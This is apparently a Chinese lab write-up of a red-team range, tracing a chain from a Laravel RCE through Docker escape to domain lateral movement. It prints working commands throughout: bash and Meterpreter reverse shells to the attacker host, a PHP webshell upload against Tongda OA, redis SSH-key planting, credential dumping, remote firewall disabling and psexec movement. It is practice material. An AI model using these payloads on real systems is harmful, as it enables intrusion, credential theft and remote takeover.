搭建略
打靶:
已知目标靶机http://192.168.43.206
Nmap扫,发现22、80、81端口:

22、80无法访问,81可以访问,先从81入手,发现是laravel:

上网搜索laravel漏洞,发现可能存在
CVE-2021-3129:Laravel远程代码执行
,下载exp:GitHub – SecPros-Team/laravel-CVE-2021-3129-EXP,利用成功:

哥斯拉上线:
V2.92可以连上,但高版本反而连不上,因为高版本的哥斯拉生成的马的加密方式已经改变了导致会连接失败

哥斯拉命令无回显,上传小马换蚁剑:

(从蚁剑迁移到kali,按理其实这一步作用不大,但是在后面提权时候蚁剑无法提权,不知道为什么)
kali:
写一个shell.sh文件,
bash -i >& /dev/tcp/192.168.52.128/6666 0>&1
这句话的意思是把本机shell执行的正确的输入输出和错误的输出全部重定向到192.168.52.128的6666端口,所以需要受害机来执行这个语句,由于本机很可能限制使用bash这个命令,所以有两种方法。一个是把这个文件复制到受害机上执行,一个是就把这个命令放在kali上,开启80端口(http服务,这一步是让受害机能访问到这个文件),然后受害机curl这个文件。
开启监听
nc -lvvp 6666 监听6666端口
python3 -m http.server 80 开启80端口服务,不开的话受害机那边访问不到
蚁剑用受害机执行
curl 192.168.52.128/shell.sh | bash
出错,发现是因为文件和开启http服务不在同一个地方,这个文件找不到,需要在文件同一目录开启http服务:

成功上线:



参考
花一天时间搞懂反弹shell的命令!bash -i >& /dev/tcp/${HOST}/${PORT} 0>&1!_bash反弹shell的命令-CSDN博客
Linux之bash反弹shell原理浅析_bash -i开户交互式界面-CSDN博客)
发现有.dockerenv文件,所以是在容器中,需要做容器逃逸
(附:判断是否在容器中的方法:
方式一:判断根目录下 .dockerenv 文件
docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的
/usr/local/tomcat >ls -alh /.dockerenv
-rwxr-xr-x 1 root root 0 Jan 22 06:54
/.dockerenv
注:定制化比较高的docker系统也可能没有这个文件
方式二:查询系统进程的cgroup信息
docker 环境下:cat /proc/1/cgroup
/usr/local/tomcat >cat
/proc/1/cgroup
13:name=systemd:/docker/09dd4e5bfa91048ac3fbdfa6f951ea0648742fee7ee8d775190df8e88d609017
12:pids:/docker/09dd4e5bfa91048ac3fbdfa6f951ea0648742fee7ee8d775190df8e88d609017
11:hugetlb:/docker/09dd4e5bfa91048ac3fbdfa6f951ea0648742fee7ee8d775190df8e88d609017
docker逃逸:
目前的 Docker 逃逸的原因可以划分为三种:
1.由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
2.由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271
3.由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式
每个都尝试一遍
由内核漏洞引起:
脏牛提权原理:
脏牛(DirtyCow)Linux本地提权漏洞复现(CVE-2016-5195) – 无名之辈。 – 博客园 (cnblogs.com)
下载的第一个exp权限改了又变回去,蚁剑无法上传,于是又下了一个,还是上传不了,直接传.c文件,发现可以传:

但是make的时候提示没有nasm这个命令,所以脏牛提权用不了

试了好多种办法都没用,还是看看WP吧:
使用查找高权限文件的方式来提权:
提权只是逃逸的一部分!!!

Linux “find“ 命令查找特定权限的文件(-perm参数)-CSDN博客
find / -perm /u=s


找到一个高权限文件,cat一下,显示乱码,采用一行代码来发现命令
xxd /script/shell | grep ps
发现这个文件执行了ps命令
采用环境变量劫持的方法提权:
(环境变量劫持:Linux环境变量劫持提权_linux find 命令劫持-CSDN博客,环境变量其实就是个路径,把某个文件的路径添加进环境变量后,就可以不用在其所在文件夹通过命令打开它,比如360.exe在D盘,如果没有添加进环境变量,在F盘打开cmd,然后输入360.exe是肯定打开不了的,如果有添加环境变量,那就可以打开了,因为系统会先在环境变量里面找对应文件。而环境变量劫持就是利用了系统找环境变量是有顺序的这一特点,把一个同名的假冒文件添加到环境变量,这样系统以管理员权限执行这一个文件时候最先找到的就是假冒文件,就会以管理员权限执行假冒文件。)
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
(添加变量可能需要一会时间)
终于成功:

接下来试试上线msf,(虽然没什么用)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.52.128 LPORT=4444 -f elf > shell9.10.elf
use exploit/multi/handler
set lhost 192.168.52.128
set lport 4444
set payload linux/x86/meterpreter/reverse_tcp
run
蚁剑传马:

其实也可以用wget来拿,蚁剑方便点
需要chmod 777才能运行,这里蚁剑是普通权限也可以运行

成功上线:

总结一下目前的工作,我们已知192.168.43.206这个IP,通过81端口的laravel漏洞打进去,发现在docker容器里面,为了逃逸,先进行提权,利用高权限文件的环境变量劫持,我们拿到了docker容器的root权限,所以接下来要做容器逃逸,参考Vulnstack红日内网靶场(七)-学习过程笔记 – FreeBuf网络安全行业门户
先在受害机的容器里面看一下
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
发现有几个盘,其中一个是/dev/sda1
把/dev/sda1挂载到容器里面新建的文件f,挂载的作用就是在容器里面能看到容器外面的文件
mkdir f #创建名为f的文件夹
mount /dev/sda1 f #把sda1挂载到f
ls f
发现容器外的 /dev/sda1里面有一个用户ubuntu,接下来尝试ssh公钥登录:
先在kali上创建ssh公钥:
ssh-keygen -f f
chmod 600 f
cat f.hub
然后在目标容器里面执行
cp -avx /f/home/ubuntu/.ssh/id_rsa.pub /f/home/ubuntu/.ssh/authorized_keys #avx是将权限也一起复制
echo > /f/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件
echo ‘f.pub文件的内容’ > /f/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
这里f.hub文件的内容是上一个代码块的cat f.hub得到的
然后kali连接:
ssh -i f ubuntu@192.168.43.206
连接失败,怀疑是开了代理
穷途末路,但是还有一个redis访问未授权(我的NMAP没扫出来redis,看WP知道的)

验证一下,发现连上了:
那就可以利用这个redis做文章,redis未授权连接有好几种写shell的办法,这里用ssh密钥的方法
ssh-keygen -t rsa #生成公钥
(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > rsa.txt #将公钥导入rsa.txt文件
cat rsa.txt | redis-cli -h 192.168.43.206 -p 6379 -x set hello #把rsa.txt文件内容写入目标主机的redis缓冲中
(ssh-keygen -t rsa #生成公钥
(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > rsa.txt #将公钥导入rsa.txt文件
cat rsa.txt | redis-cli -h 192.168.43.206 -p 6379 -x set hello #把rsa.txt文件内容写入目标主机的redis缓冲中)

然后在redis连上的终端设置一下:
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
成功通过公钥连接上:

ifconfig一下:

成功拿到43.206,它的内网ip是52.10,内网段就应该是52,而且不在docker里面
(这里出了个小插曲,之前通过curl拿到的docker不小心关了,然后重启时候发现本地开不了服务,端口被占用,于是:
netstat -ntulp | grep 80 //查看端口
fuser -k -n tcp 80 //杀掉端口的进程
然后就能启动了

)
接着继续,拿到了43.206,但是刚刚连43.206连不上,怀疑用了代理,检测一下
首先发现home下面是个web,而不是ubuntu
然后
cd /etc/nginx/conf.d
cat 81.conf
查看81端口是否有反向代理,

果然被反向代理了,代理主机是52.20
arp -n 一下:

所以就知道了为什么前面ssh连接43.206连接不上,因为81端口给52.20反向代理了,docker容器实际上在52.20上,而redis能连上是因为它使用的端口没有进行反向代理,于是在kali重新尝试连接
ssh -i f ubuntu@192.168.52.20
成功连上!:

到这里再总结一下目前的工作,我们已知192.168.43.206这个IP,通过81端口的laravel漏洞打进去,发现在docker容器里面,为了逃逸,先进行提权,利用高权限文件的环境变量劫持,拿到了docker容器的root权限,然后进行ssh密钥(第一次ssh)连接逃逸的时候发现连不上,采取另一个突破口redis未授权,通过redis又写了个ssh成功连接(第二次ssh),连接上的正是43.206.通过信息收集发现43.206的81端口使用了反向代理,代理主机是52.20,于是更改第一次ssh的地址成52.20,成功连上,至此拿下了43.206和52.20。
这里我有个疑惑,52.20不应该是内网吗,怎么能通过ssh连上的,后来访问52.10(即43.206的另一个ip)发现也能登上laravel,所以52段应该不是内网。
如果52就是内网段怎么办?即52.20这个反向代理的主机没有公网ip,那又怎么连呢?可以用52.10来连,因为ssh已经写在52.20上了,外网连不到52.20,52.10肯定能连上52.20,所以不是问题。
两台主机都上线:
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.52.128
set lport 4445
run
//然后用受害机复制运行msf给的wget代码
set lport 4446
run
//第二台一样

session -i 1 //进入session1
因为这里可以跟web2(192.168.52.20)互通,所以可以略过建隧道的操作,如果52是内网的话还需要建立隧道,这里也练习一下:
下载不了earthworm,有时间再来补坑吧
继续,现在的目标是192.168.52.30这个机子,因为它开了防火墙,怎么绕都绕不过去,只能手动把防火墙关掉
发现8080端口有通达OA
利用通达OA远程命令执行漏洞试试:
访问192.168.52.30/ispirit/im/upload.php,抓包:

放到重放器里面构造一下payload:
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.308080
Content-Length: 656
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
——WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=”UPLOAD_MODE”
2
——WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=”P”
123
——WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=”DEST_UID”
1
——WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=”ATTACHMENT”; filename=”jpg”
Content-Type: image/jpeg
<?php
$command=$_POST[‘cmd’];
$wsh = new COM(‘WScript.shell’);
$exec = $wsh->exec(“cmd /c “.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
——WebKitFormBoundarypyfBh1YB4pV8McGB–
少了Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarypyfBh1YB4pV8McGB字段会导致上传失败!!!
而且GET必须改成POST!
发现返回一个未登录,想起来PC1忘记开通达OA了,去PC1开一下,再重复一遍,发现上传成功且有文件路径回传

然后
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 87
Content-Type: application/x-www-form-urlencoded
json={“url”:”/general/../../attach/im/2409/1588936655.jpg”}&cmd=whoami
(这里的cmd即执行的命令,2409/1588936655.jpg在上面回显的地址里面有)
然后msf上线:
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.52.128
set lport 4447
run
把生成的命令发包放到cmd执行,成功上线:


这样,第二层(52段)我们也成功拿下,目前拓扑图如下:

开始对93段下手,已知web2是93.10,pc1是93.20,pc1上arp -n发现了另外两台机子93.30和93.40:

继续信息收集:
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ “” /user:”” # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ “密码” /user:”用户名” # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group “domain admins” /domain # 查看域管理员的名字
net group “domain computers” /domain # 查看域中的其他主机名
net group “doamin controllers” /domain # 查看域控制器(可能有多台)
net group “Enterprise Admins” /domain // 查看域管理员组
使用msf的kiwi抓取密码:
ps //查看进程
migrate 进程号 //迁移进程
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

由于93是内网段,所以必须搭隧道,这里用ew(earthworm),52.30当跳板来搭隧道。
msf执行:
route add 192.168.93.0 255.255.255.0 5 //添加路由
进入meter执行:
upload ew/ew_for_Win.exe //上传ew
然后监听:
nohup ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 2>1&
(网上是nohup ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 &,会报错,把&改成2》1&就好了)
52.30上执行:
start /min ew_for_Win.exe -s ssocksd -l 999
再把ew传到52.10这个机子上,执行中间桥梁:
./ew_for_linux64 -s lcx_slave -d 192.168.52.128 -e 1235 -f 192.168.52.30 -g 999
这样就建好了隧道
扫描发现93.30和93.40都开启了445端口,可能存在永恒之蓝:
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
测试一下永恒之蓝是否存在:
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.93.30
run
存在:

攻击:攻击失败,可能是开启了防火墙:

因为知道了管理员账号密码,可以用52.30这个机子来关闭93.30的防火墙:
net use \\192.168.93.30\ipc$ “Whoami2021″ /user:”Administrator”
sc \\192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \\192.168.93.30 start unablefirewall
(忘了还有ipc,居然能用PC1关PC2的防火墙)
但是关了之后永恒之蓝还是失败,那就试一下psexec横向:
还是失败,可能是msf有点问题,那就换cs试试
先把52.30上线一下CS,
成功:

然后就是常规的psexec横向:
成功:


至此,所有靶机全部拿下
